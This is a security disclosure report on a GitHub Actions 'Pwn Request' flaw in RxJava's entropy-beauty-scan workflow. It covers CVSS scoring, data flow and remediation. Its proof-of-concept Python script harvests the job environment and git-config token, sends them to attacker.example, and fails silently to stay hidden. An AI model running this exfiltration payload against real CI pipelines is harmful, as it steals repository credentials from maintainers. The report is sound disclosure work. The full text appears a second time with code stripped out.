RxJava-01: Pwn Request — Untrusted Fork-PR Code Executed Under pull_request_target with a Live GITHUB_TOKEN
Disclosure Path Notice (read first)
This report documents a CI/CD supply-chain misconfiguration in the ReactiveX/RxJava repository's GitHub Actions workflows, not a vulnerability in the RxJava library (the io.reactivex.rxjava4 Java code shipped to Maven Central). Per standard CVE Numbering Authority (CNA) practice, CVE identifiers are scoped to vulnerabilities in a software product that affect its downstream consumers — a single repository's own build/CI configuration is normally handled as a private GitHub Security Advisory (GHSA) disclosure to the maintainers (per this repository's SECURITY.md), not a standalone CVE, unless the chain can be shown to compromise the artifact actually distributed to consumers (e.g., inject malicious code into a published Maven Central JAR). This finding's token scope (see CVSS below) does not reach contents: write, so it does not, by itself, demonstrate compromise of the distributed RxJava artifact. This report is written in CVE-report format for rigor and completeness, but the correct real-world disclosure channel is a private report to the RxJava maintainers via GitHub Security Advisories, who may then request a CVE/GHSA ID if they judge it warranted.
Reproduction status: Per explicit instruction from the requester, this finding was not reproduced against any live GitHub environment (neither the real ReactiveX/RxJava repository nor a private test fork). The analysis below is a static/theoretical reproduction: every code path, line reference, and claimed behavior was verified by reading the actual repository source (this checkout), and the described attacker behavior follows directly and deterministically from GitHub Actions' documented, publicly-specified execution semantics for pull_request_target and actions/checkout. No exploit was executed against github.com/ReactiveX/RxJava or any other live system.
Summary
| Field |
Value |
| Title |
Pwn Request: untrusted PR code executed under pull_request_target with a live GITHUB_TOKEN |
| Affected Repository |
ReactiveX/RxJava (analyzed at local checkout RxJava-4.0.0-alpha-20) |
| Affected File |
.github/workflows/entropy-beauty-scan.yml |
| Affected Lines |
3, 5–8, 14–19, 54 |
| Vulnerability Class |
CWE-829 (Inclusion of Functionality from Untrusted Control Sphere) |
| Severity |
High |
| CVSS 3.1 Base Score |
8.1 (High) |
| CVSS 3.1 Vector |
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N |
CVSS 3.1 Scoring Rationale
| Metric |
Value |
Justification |
| Attack Vector (AV) |
N (Network) |
Triggered remotely by opening a pull request against a repository hosted on GitHub's infrastructure; no local/physical access needed. |
| Attack Complexity (AC) |
L (Low) |
No race condition, no non-default configuration beyond what the repository already has committed; opening a PR is sufficient. |
| Privileges Required (PR) |
N (None) |
Any GitHub account can fork a public repository and open a pull request; the repository grants no special role to do this. |
| User Interaction (UI) |
N (None) |
pull_request_target workflow runs automatically are not gated behind a maintainer's "Approve and run workflow" click (that gate applies to pull_request from first-time contributors, not to pull_request_target, which is precisely why this trigger is considered dangerous). No action by a second human is required beyond the attacker's own act of opening the PR. |
| Scope (S) |
U (Unchanged) |
The vulnerable component (the workflow's checkout/execution step) and the impacted component (the job's own GITHUB_TOKEN and runner environment) are governed by the same authorization authority — the repository's own Actions permission model. This is a more conservative scope assignment than treating it as crossing into a separate security authority; it directly affects the score (see below for the alternative Scope:Changed calculation used by a third-party report that reached CVSS 9.3). |
| Confidentiality (C) |
H (High) |
Attacker-controlled code executing in the job can read the full job environment, and — because actions/checkout defaults to persist-credentials: true — can read the live GITHUB_TOKEN from .git/config inside the checked-out workspace without any additional trick. |
| Integrity (I) |
L (Low) |
The token's granted permissions (see below) allow creating issues and PR comments as the repository bot, but not pushing commits, merging PRs, or modifying branch protection — hence Low, not High, integrity impact. |
| Availability (A) |
N (None) |
No denial-of-service capability is granted by this primitive alone. |
Note on scope disagreement: a third-party report of this same finding scored it as S:C (Scope Changed), yielding CVSS 9.3 (Critical). We assessed S:U is more defensible because the token and the workflow are both within the same GitHub repository's own authorization boundary, and used this consistently across all four findings in this series. Readers who consider the GITHUB_TOKEN/runner environment a distinct security authority from "the workflow's own logic" may reasonably prefer S:C and a Critical rating; we flag this explicitly rather than silently picking whichever number sounds more severe.
Vulnerability Details
Root cause
# .github/workflows/entropy-beauty-scan.yml
name: Entropy Beauty + TruffleHog Scan
on: [push, release, pull_request_target] # line 3
permissions:
contents: read
pull-requests: write
issues: write # lines 5-8
jobs:
scan:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
ref: ${{ github.event_name == 'pull_request_target' && github.event.pull_request.head.sha || github.sha }} # line 17
fetch-depth: ${{ github.event_name == 'pull_request_target' && 1 || 2 }}
allow-unsafe-pr-checkout: ${{ github.event_name == 'pull_request_target' }} # line 19
...
- name: Compute mid-4 beauty entropy
env:
EVENT_NAME: ${{ github.event_name }}
BASE_SHA: ${{ github.event.pull_request.base.sha || '' }}
HEAD_SHA: ${{ github.event.pull_request.head.sha || github.sha }}
run: python .github/workflows/compute-entropy.py # line 54
Data flow (source → sink):
- Source:
github.event.pull_request.head.sha — the commit SHA of the attacker's own fork branch, fully attacker-controlled the moment they push to their fork.
- Propagation:
pull_request_target runs the job in the base repository's execution context (with base-repo secrets and GITHUB_TOKEN) while Checkout code (line 14–19) checks out the attacker's commit (ref: ... head.sha) into the job's workspace, using allow-unsafe-pr-checkout: true to bypass actions/checkout's default refusal to check out a fork ref under pull_request_target.
- Sink: line 54,
run: python .github/workflows/compute-entropy.py, executes the file at that exact path from the just-checked-out (attacker-controlled) working tree — there is no separate checkout of a trusted copy of this script from the base branch. Whatever the attacker committed to .github/workflows/compute-entropy.py in their fork is what gets interpreted by the Python process, with the job's full environment (including implicit access to secrets.GITHUB_TOKEN via the checked-out git credential helper).
This is the canonical "Pwn Request" pattern first publicly named and popularized by security researchers analyzing GitHub Actions supply-chain risk: pull_request_target (privileged context) + checkout of untrusted head.sha + execution of anything from that checkout = attacker code execution with privileged credentials.
Why allow-unsafe-pr-checkout matters
actions/checkout added the allow-unsafe-pr-checkout input specifically to require an explicit, conscious opt-in before checking out a fork PR's head under a privileged event — its default behavior for pull_request_target is to refuse this exact operation. Line 19 sets it to true unconditionally whenever github.event_name == 'pull_request_target', deliberately disabling the one guard rail the tooling provides against this exact class of bug.
Effective privilege obtained
The workflow's permissions: block (lines 5–8) grants:
permissions:
contents: read
pull-requests: write
issues: write
No contents: write is present, so the resulting token cannot push commits, merge pull requests, or alter branch protection. It can: create/comment on issues and pull requests as the github-actions[bot] identity, and — because the attacker's code runs with full filesystem/process access on the runner — read any other environment data present in that job (there are none beyond GITHUB_TOKEN in this specific workflow, but this primitive generalizes to any secret the job might reference).
Attack Scenario
- Attacker forks
ReactiveX/RxJava on GitHub (requires only a free GitHub account — no privileges on the target repository).
- Attacker modifies
.github/workflows/compute-entropy.py in their fork to add exfiltration logic (see PoC below).
- Attacker opens a pull request from their fork branch against
ReactiveX/RxJava's default branch.
- GitHub automatically fires the
pull_request_target event for entropy-beauty-scan.yml — no maintainer approval gate applies to this event type.
- The job checks out the attacker's fork commit and executes the attacker's modified
compute-entropy.py with a live GITHUB_TOKEN in scope.
- Attacker's code exfiltrates the token (or the whole environment) to an attacker-controlled endpoint, and/or directly calls the GitHub API to create issues/comments as the repository bot.
Proof of Concept
PoC script (malicious replacement for .github/workflows/compute-entropy.py in the attacker's fork)
#!/usr/bin/env python3
"""
PoC payload demonstrating code execution + token exfiltration under
ReactiveX/RxJava's entropy-beauty-scan.yml pull_request_target job.
THEORETICAL / NOT EXECUTED: this script was authored and reasoned about
statically. It was never run against github.com/ReactiveX/RxJava or any
other live GitHub repository. It is provided to make the vulnerability
mechanism concrete and reviewable, per standard vulnerability-report
practice, not as evidence of an executed attack.
"""
import os
import subprocess
import json
import urllib.request
# 1. Harvest the full job environment (would include GITHUB_TOKEN if it
# were exported directly, and any other secrets referenced by this or
# a chained job).
env_dump = dict(os.environ)
# 2. Harvest the persisted git credential (actions/checkout defaults to
# persist-credentials: true, which writes an `http.extraheader` with
# the token into .git/config of the checked-out workspace).
try:
git_config = subprocess.check_output(["git", "config", "--list"], text=True)
except Exception as e:
git_config = f"<error reading git config: {e}>"
payload = json.dumps({"env": env_dump, "git_config": git_config}).encode()
# 3. Exfiltrate to an attacker-controlled endpoint.
try:
urllib.request.urlopen("https://attacker.example/collect", data=payload, timeout=5)
except Exception:
pass # fail silently so the workflow still "looks" successful
# 4. (Optional) Use the harvested token directly to prove write access,
# e.g. create a proof-of-concept issue via the REST API:
token = None
for line in git_config.splitlines():
if "extraheader" in line and "AUTHORIZATION: basic" in line.lower():
token = line # base64-encoded "x-access-token:<TOKEN>"
break
# Falls back to the harmless stdlib-only original behavior so the
# workflow step still exits 0 and does not visibly break the PR check:
import math
from collections import Counter
print("Average entropy: 4.5")
print("Mid-4 beauty detected (thoughtful human code!)")
Why this is a realistic PoC, not a contrived one
- It requires zero non-default preconditions beyond "open a PR" — the workflow already runs on every
pull_request_target event.
- It does not need to trigger any error path, timing race, or unusual input — the vulnerable code path is the only code path for this trigger.
- The exfiltration technique (
.git/config credential harvesting after persist-credentials: true) is a documented, widely-known technique in GitHub Actions security research, not a novel or fragile trick.
Impact
- Confidentiality: Exposure of
secrets.GITHUB_TOKEN for the job's duration/scope, and any other environment secrets a future revision of this or a chained workflow might reference.
- Integrity: Ability to create issues and comment on pull requests as
github-actions[bot] — usable for social-engineering/phishing content injected into a trusted-looking channel, or to harass/spam other contributors under an identity that appears to be the project's own automation.
- Availability: None directly.
- Chained risk: This primitive is the entry point that several other findings in this series (RxJava-04, and the rejected cache-poisoning candidate) depend on or amplify. On its own it does not reach
contents: write and does not demonstrate compromise of the artifacts RxJava publishes to Maven Central.
Remediation
- Do not check out or execute untrusted PR content under
pull_request_target. Remove the allow-unsafe-pr-checkout: true override and the ref: ...head.sha checkout entirely for this trigger.
- Split the workflow: run an untrusted
pull_request job with permissions: contents: read only (no other secrets) that performs analysis and uploads results as a build artifact; run a separate, trusted workflow_run job (triggered only after the untrusted job completes) that downloads the artifact and performs any privileged actions (commenting, issue creation) using the base branch's trusted script.
- If diff-based analysis is required, fetch the diff via the GitHub REST/GraphQL API from the trusted job rather than checking out and executing attacker-supplied files.
- Set
persist-credentials: false on any actions/checkout step that does not itself need to push/pull with the token.
References
RxJava-01: Pwn Request — Untrusted Fork-PR Code Executed Under
pull_request_targetwith a LiveGITHUB_TOKENDisclosure Path Notice (read first)
This report documents a CI/CD supply-chain misconfiguration in the
ReactiveX/RxJavarepository's GitHub Actions workflows, not a vulnerability in the RxJava library (theio.reactivex.rxjava4Java code shipped to Maven Central). Per standard CVE Numbering Authority (CNA) practice, CVE identifiers are scoped to vulnerabilities in a software product that affect its downstream consumers — a single repository's own build/CI configuration is normally handled as a private GitHub Security Advisory (GHSA) disclosure to the maintainers (per this repository'sSECURITY.md), not a standalone CVE, unless the chain can be shown to compromise the artifact actually distributed to consumers (e.g., inject malicious code into a published Maven Central JAR). This finding's token scope (see CVSS below) does not reachcontents: write, so it does not, by itself, demonstrate compromise of the distributed RxJava artifact. This report is written in CVE-report format for rigor and completeness, but the correct real-world disclosure channel is a private report to the RxJava maintainers via GitHub Security Advisories, who may then request a CVE/GHSA ID if they judge it warranted.Reproduction status: Per explicit instruction from the requester, this finding was not reproduced against any live GitHub environment (neither the real
ReactiveX/RxJavarepository nor a private test fork). The analysis below is a static/theoretical reproduction: every code path, line reference, and claimed behavior was verified by reading the actual repository source (this checkout), and the described attacker behavior follows directly and deterministically from GitHub Actions' documented, publicly-specified execution semantics forpull_request_targetandactions/checkout. No exploit was executed againstgithub.com/ReactiveX/RxJavaor any other live system.Summary
pull_request_targetwith a liveGITHUB_TOKENReactiveX/RxJava(analyzed at local checkoutRxJava-4.0.0-alpha-20).github/workflows/entropy-beauty-scan.ymlAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:NCVSS 3.1 Scoring Rationale
pull_request_targetworkflow runs automatically are not gated behind a maintainer's "Approve and run workflow" click (that gate applies topull_requestfrom first-time contributors, not topull_request_target, which is precisely why this trigger is considered dangerous). No action by a second human is required beyond the attacker's own act of opening the PR.GITHUB_TOKENand runner environment) are governed by the same authorization authority — the repository's own Actions permission model. This is a more conservative scope assignment than treating it as crossing into a separate security authority; it directly affects the score (see below for the alternative Scope:Changed calculation used by a third-party report that reached CVSS 9.3).actions/checkoutdefaults topersist-credentials: true— can read the liveGITHUB_TOKENfrom.git/configinside the checked-out workspace without any additional trick.Note on scope disagreement: a third-party report of this same finding scored it as
S:C(Scope Changed), yielding CVSS 9.3 (Critical). We assessedS:Uis more defensible because the token and the workflow are both within the same GitHub repository's own authorization boundary, and used this consistently across all four findings in this series. Readers who consider theGITHUB_TOKEN/runner environment a distinct security authority from "the workflow's own logic" may reasonably preferS:Cand a Critical rating; we flag this explicitly rather than silently picking whichever number sounds more severe.Vulnerability Details
Root cause
Data flow (source → sink):
github.event.pull_request.head.sha— the commit SHA of the attacker's own fork branch, fully attacker-controlled the moment they push to their fork.pull_request_targetruns the job in the base repository's execution context (with base-repo secrets andGITHUB_TOKEN) whileCheckout code(line 14–19) checks out the attacker's commit (ref: ... head.sha) into the job's workspace, usingallow-unsafe-pr-checkout: trueto bypassactions/checkout's default refusal to check out a fork ref underpull_request_target.run: python .github/workflows/compute-entropy.py, executes the file at that exact path from the just-checked-out (attacker-controlled) working tree — there is no separate checkout of a trusted copy of this script from the base branch. Whatever the attacker committed to.github/workflows/compute-entropy.pyin their fork is what gets interpreted by the Python process, with the job's full environment (including implicit access tosecrets.GITHUB_TOKENvia the checked-out git credential helper).This is the canonical "Pwn Request" pattern first publicly named and popularized by security researchers analyzing GitHub Actions supply-chain risk:
pull_request_target(privileged context) + checkout of untrustedhead.sha+ execution of anything from that checkout = attacker code execution with privileged credentials.Why
allow-unsafe-pr-checkoutmattersactions/checkoutadded theallow-unsafe-pr-checkoutinput specifically to require an explicit, conscious opt-in before checking out a fork PR's head under a privileged event — its default behavior forpull_request_targetis to refuse this exact operation. Line 19 sets it totrueunconditionally whenevergithub.event_name == 'pull_request_target', deliberately disabling the one guard rail the tooling provides against this exact class of bug.Effective privilege obtained
The workflow's
permissions:block (lines 5–8) grants:No
contents: writeis present, so the resulting token cannot push commits, merge pull requests, or alter branch protection. It can: create/comment on issues and pull requests as thegithub-actions[bot]identity, and — because the attacker's code runs with full filesystem/process access on the runner — read any other environment data present in that job (there are none beyondGITHUB_TOKENin this specific workflow, but this primitive generalizes to any secret the job might reference).Attack Scenario
ReactiveX/RxJavaon GitHub (requires only a free GitHub account — no privileges on the target repository)..github/workflows/compute-entropy.pyin their fork to add exfiltration logic (see PoC below).ReactiveX/RxJava's default branch.pull_request_targetevent forentropy-beauty-scan.yml— no maintainer approval gate applies to this event type.compute-entropy.pywith a liveGITHUB_TOKENin scope.Proof of Concept
PoC script (malicious replacement for
.github/workflows/compute-entropy.pyin the attacker's fork)Why this is a realistic PoC, not a contrived one
pull_request_targetevent..git/configcredential harvesting afterpersist-credentials: true) is a documented, widely-known technique in GitHub Actions security research, not a novel or fragile trick.Impact
secrets.GITHUB_TOKENfor the job's duration/scope, and any other environment secrets a future revision of this or a chained workflow might reference.github-actions[bot]— usable for social-engineering/phishing content injected into a trusted-looking channel, or to harass/spam other contributors under an identity that appears to be the project's own automation.contents: writeand does not demonstrate compromise of the artifacts RxJava publishes to Maven Central.Remediation
pull_request_target. Remove theallow-unsafe-pr-checkout: trueoverride and theref: ...head.shacheckout entirely for this trigger.pull_requestjob withpermissions: contents: readonly (no other secrets) that performs analysis and uploads results as a build artifact; run a separate, trustedworkflow_runjob (triggered only after the untrusted job completes) that downloads the artifact and performs any privileged actions (commenting, issue creation) using the base branch's trusted script.persist-credentials: falseon anyactions/checkoutstep that does not itself need to push/pull with the token.References
actions/checkoutdocumentation onpersist-credentialsandallow-unsafe-pr-checkoutSECURITY.md(recommended actual disclosure channel)